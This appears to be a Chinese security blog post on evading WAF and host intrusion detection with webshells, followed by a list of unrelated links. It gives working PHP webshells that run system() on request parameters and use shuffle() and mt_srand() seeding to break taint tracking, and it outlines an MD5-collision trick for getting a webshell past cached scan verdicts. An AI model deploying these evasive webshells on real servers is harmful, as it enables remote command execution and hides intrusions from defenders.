当前位置: 首页 > news >正文

【网络安全】Webshell的绕过——绕过动态检测引擎WAF-缓存绕过(Hash碰撞)

目录

一、前言

二、环境

三、了解动态检测引擎

3.1 shuffle — 打乱数组

3.2 mt_srand — 播下一个更好的随机数发生器种子

四、缓存导致的绕过【hash碰撞】

五、总结


一、前言

        在渗透测试过程中,成功获取 WebShell 时难免遇到 Web 应用防火墙(WAF)的拦截。今天就来研究一下 WAF 的核心防护机制之一动态检测引擎的工作原理及对应的缓存绕过技术。

二、环境

        Ubuntu 20.04.6 + Windows10 + 安全狗 + 河马查杀

三、了解动态检测引擎

        首先需要了解一下查杀引擎,查杀引擎一般分为两种,一个是静态的,另一个是动态的。对于静态引擎的绕过,可以通过拆分关键词、 加入能够引发解析干扰的畸形字符等;而对于动态引擎,需要分析它跟踪了哪些输入点,又是如何跟踪变量的,最终是在哪些函数的哪些参数命中了恶意样本规则。动态检测引擎是可以通过打断污点追踪从而绕过 waf 。接下来对师傅们分享的某比赛中绕过动态检测引擎的 webshell 样本进行分析。感受一下 webshell 经过变形绕过 waf 的案例。

3.1 shuffle — 打乱数组

        很简单的一个webshell,绕过原理是通过 shuffle 函数打乱只有两个元素的数组。有可能shuffle 函数被当作了清洗函数,从而打断了污点追踪。

<?php 
$a = array("t", "system");shuffle($a);$a[0]($_GET[1]);

        可以看到已经执行了系统命令,并且绕过了安全狗和河马查杀。但是这个样本不能够稳定触发。下面来看一下大佬升级后的样本。

3.2 mt_srand — 播下一个更好的随机数发生器种子

       mt_srand 函数:播下一个更好的随机数发生器种子。我们通过打印调试来看一下这个函数具体是怎么利用的。

<?php$seed = '123';
mt_srand($seed);
$arr = array('t','system','vvx','789');
shuffle($arr);
print_r($arr);

        多刷新几次发现我们的数组被定下了,没有进行随机排序了。那就意味着定义好种子后就能够稳定触发了。

        看一下升级后的 webshell 如何利用。mt_srand($_GET[0]) 应该传什么值,通过打印调试后传参$_GET[0]需要传参11111 ,$_GET[1]传参执行的命令即可执行任意命令。

<?php$arr = array("t", "index", "web", "system");function shift(&$arr){mt_srand($_GET[0]);shuffle($arr);}shift($arr);$arr[2]($_GET[1]);

四、缓存导致的绕过【hash碰撞】

        在基于C/S架构部署的大规模HIDS集群中,在检测Web文件过程首先需要 根据后缀采集文件然后进入到分拣器,通过 webshell检测引擎 产生的分析结果上报至 Master 节点 进行汇聚、关联分析及最终裁决,之后将最终结果 持久化存储 入库。如果已经检测过的文件,缓存检测结果,下次不再检测。

        什么是IDS(入侵检测系统):IDS 是“入侵检测系统”的缩写,是指旨在检测未授权访问内部网络的迹象并通知管理员的硬件或软件。

根据实现方式,IDS 可分为以下两种类型:

  • 基于主机的入侵检测系统 (HIDS): HIDS 作为软件安装在受保护的计算机上,通过监控操作系统日志等日志来检测入侵。
  • 基于网络的入侵检测系统 (NIDS): NIDS 作为受保护计算机网络段中的专用设备进行部署,可监控网络流量中是否存在未经授权的活动。 NIDS 通常更适合有效监控整个内部网络。

        那么如果分拣器发现一个文件以前已经检测过,就可以直接把结果返回给 master节点。我们想绕过这里的判断,思路就是:把一个恶意文件,缓存成一个正常文件。

        如果我们创建两个文件一个 .js 和 .php 内容相同,文件名相同。会是怎么样的?

当在Java中写php的恶意语句会被报毒吗?显然不会,因为根本执行不了。但是会缓存进去,缓存的是 MD5 值。那如果我在写一个文件是 web.php 两个文件的 MD5 值是一样的呢?是不是就会放行了? 

如果两个文件的 MD5 值相同应该怎么办?我们来看一下这两个文件的 MD5 值是什么。

        发现 MD5 值是一样的,因为 MD5 值检测的是name,那么这个是有办法进行绕过的。当我们利用哈希碰撞。既然缓存key会包含文件名和文件hash,那么我们只需要生成一个正常文件和 一个webshell,两个文件的hash完全相同,再让他们文件名相同,这样就可以命中同一个缓存了。那么如何生成两个hash相同的文件? 

GitHub - corkami/collisions: Hash collisions and exploitations

        如果构造一个恶意的.php文件和一个正常的.php文件。但是它们的hash值一样就能够实现绕过。当使用hash碰撞的方法就能够实现两个不同文件 MD5 值相同。(因电脑配置原因,需要跑出来的时间太久,看一下大佬跑出来的最终结果)

五、总结

        本章学习了查杀引擎的原理,了解到了动态和静态的检测流程,动态引擎通过用户的输入源进行不断的追踪,直到经过清洗函数或者报错就能够打断污点追踪。或者是经过了清洗函数从而绕过waf。还有在HIDS中,一个Web文件的整个数据轮转过程中,可能会出现HIDS的薄弱点,今天通过缓存思路来绕过了webshell检测引擎

http://www.dtcms.com/a/335738.html

相关文章:

  • 系统学习算法 专题十七 栈
  • Vue中 v-if 和 v-show 的区别
  • 数据一致性与 MVCC 理解
  • TCP和UCP的区别
  • 深入解析Tomcat Processor的协议处理机制
  • 路由器配置之模式
  • 【技术博客】480p 老番 → 8K 壁纸:APISR × SUPIR × CCSR「多重高清放大」完全指南
  • React 19 核心特性
  • VS Code配置MinGW64编译libxlsxwriter和xlsxio库
  • 【R语言】R语言矩阵运算:矩阵乘除法与逐元素乘除法计算对比
  • 开源数据发现平台:Amundsen Metadata Service 元数据服务
  • VS Code配置MinGW64编译SQLite3库
  • uniappx 安卓端本地打包的一些总结
  • Sklearn 机器学习 邮件文本分类 计数器向量化文本
  • 学习游戏制作记录(玩家掉落系统,删除物品功能和独特物品)8.17
  • 论文投稿时,如何绘制插入无失真的图
  • 44.【.NET8 实战--孢子记账--从单体到微服务--转向微服务】--扩展功能--集成网关--网关集成认证(三)
  • 第七十九:AI的“急诊科医生”:模型失效(Loss Explode)的排查技巧——从“炸弹”到“稳定”的训练之路!
  • scikit-learn 中的均方误差 (MSE) 和 R² 评分指标
  • React 第七十节 Router中matchRoutes的使用详解及注意事项
  • 学习一下B树和B+树
  • map和join的用法
  • K8S集群环境搭建
  • [激光原理与应用-291]:理论 - 波动光学 - 相关光与不相干光:光的干涉不是随随便便就能产生的,需要满足严格的条件方能产生光的干涉(条纹)
  • 【科研绘图系列】R语言绘制探究浮游植物成熟阶段的光合作用与溶解性有机碳
  • OpenCV 图像处理核心技术:边界填充、算术运算与滤波处理实战
  • 在 Element UI 的 el-table 中实现某行标红并显示删除线
  • Leaflet赋能:WebGIS视角下的省域区县天气可视化实战攻略
  • Python训练营打卡Day35-复习日
  • 数据赋能(396)——大数据——抽象原则